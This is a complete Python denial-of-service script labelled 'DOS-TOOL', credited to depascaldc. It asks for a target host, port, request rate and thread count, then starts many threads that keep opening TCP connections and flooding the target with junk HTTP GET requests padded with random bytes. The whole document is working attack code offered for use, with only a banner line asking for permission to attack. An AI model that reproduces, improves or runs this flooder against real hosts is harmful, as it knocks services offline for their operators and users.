*"""  
/\*  
 \* This DOS-TOOL was written by depascaldc ( Discord: depascaldc#1234 ) < service@depascaldc.de >  
 \* Copying for PRIVATE usage is allowed as long as you don't mention it as your own.  
 \* Copyright (C) 2020 | depascaldc | All Rights Reserved  
 \*  
 \*/  
"""*import socket  
import time  
import os  
import random  
  
from threading import Thread  
  
os.system("clear")  
  
if not \_\_name\_\_ == "\_\_main\_\_":  
 exit()  
  
  
class ConsoleColors:  
 HEADER = '\033[95m'  
 OKBLUE = '\033[94m'  
 OKGREEN = '\033[92m'  
 WARNING = '\033[93m'  
 FAIL = '\033[91m'  
 BOLD = '\033[1m'  
  
  
print(ConsoleColors.BOLD + ConsoleColors.WARNING + '''  
 \_\_\_\_ \_\_\_\_ \_\_\_\_\_ \_   
| \_ \ \_\_\_/ \_\_\_| |\_ \_|\_\_ \_\_\_ | |  
| | | |/ \_ \\_\_\_ \ \_\_\_\_\_| |/ \_ \ / \_ \| |  
| |\_| | (\_) |\_\_) |\_\_\_\_\_| | (\_) | (\_) | |  
|\_\_\_\_/ \\_\_\_/\_\_\_\_/ |\_|\\_\_\_/ \\_\_\_/|\_|  
  
 written by: depascaldc  
 for private USAGE ONLY  
 Make sure you have the  
 permission to attack the  
 given host  
  
 ''')  
  
  
def getport():  
 try:  
 p = int(input(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "Port:\r\n"))  
 return p  
 except ValueError:  
 print(  
 ConsoleColors.BOLD + ConsoleColors.WARNING + "ERROR Port must be a number, Set Port to default " + ConsoleColors.OKGREEN + "80")  
 return 80  
  
  
host = input(ConsoleColors.BOLD + ConsoleColors.OKBLUE + "Host:\r\n")  
port = getport()  
speedPerRun = int(input(ConsoleColors.BOLD + ConsoleColors.HEADER + "Hits Per Run:\r\n"))  
threads = int(input(ConsoleColors.BOLD + ConsoleColors.WARNING + "Thread Count:\r\n"))  
  
ip = socket.gethostbyname(host)  
  
bytesToSend = random.\_urandom(2450)  
  
i = 0;  
  
  
class Count:  
 packetCounter = 0  
  
  
def goForDosThatThing():  
 try:  
 while True:  
 dosSocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  
 try:  
 dosSocket.connect((ip, port))  
 for i in range(speedPerRun):  
 try:  
 dosSocket.send(str.encode("GET ") + bytesToSend + str.encode(" HTTP/1.1 \r\n"))  
 dosSocket.sendto(str.encode("GET ") + bytesToSend + str.encode(" HTTP/1.1 \r\n"), (ip, port))  
 print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "-----< PACKET " + ConsoleColors.FAIL + str(  
 Count.packetCounter) + ConsoleColors.OKGREEN + " SUCCESSFUL SENT AT: " + ConsoleColors.FAIL + time.strftime(  
 "%d-%m-%Y %H:%M:%S", time.gmtime()) + ConsoleColors.OKGREEN + " >-----")  
 Count.packetCounter = Count.packetCounter + 1  
 except socket.error:  
 print(ConsoleColors.WARNING + "ERROR, Maybe the host is down?!?!")  
 except KeyboardInterrupt:  
 print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")  
 except socket.error:  
 print(ConsoleColors.WARNING + "ERROR, Maybe the host is down?!?!")  
 except KeyboardInterrupt:  
 print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")  
 dosSocket.close()  
 except KeyboardInterrupt:  
 print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")  
  
  
try:  
  
 print(ConsoleColors.BOLD + ConsoleColors.OKBLUE + '''  
 \_ \_ \_ \_ \_\_\_\_ \_ \_ \_   
 / \ | |\_| |\_ \_\_ \_ \_\_\_| | \_\_ / \_\_\_|| |\_ \_\_ \_ \_ \_\_| |\_(\_)\_ \_\_ \_\_ \_   
 / \_ \| \_\_| \_\_/ \_` |/ \_\_| |/ / \\_\_\_ \| \_\_/ \_` | '\_\_| \_\_| | '\_ \ / \_` |  
 / \_\_\_ \ |\_| || (\_| | (\_\_| < \_\_\_) | || (\_| | | | |\_| | | | | (\_| |  
/\_/ \\_\\_\_|\\_\_\\_\_,\_|\\_\_\_|\_|\\_\ |\_\_\_\_/ \\_\_\\_\_,\_|\_| \\_\_|\_|\_| |\_|\\_\_, |  
 |\_\_\_/   
 ''')  
 print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [ ] 0% ")  
 time.sleep(1)  
 print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [===== ] 25%")  
 time.sleep(1)  
 print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [========== ] 50%")  
 time.sleep(1)  
 print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [=============== ] 75%")  
 time.sleep(1)  
 print(ConsoleColors.BOLD + ConsoleColors.FAIL + "LOADING >> [====================] 100%")  
  
 for i in range(threads):  
 try:  
 t = Thread(target=goForDosThatThing)  
 t.start()  
 except KeyboardInterrupt:  
 print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")  
except KeyboardInterrupt:  
 print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")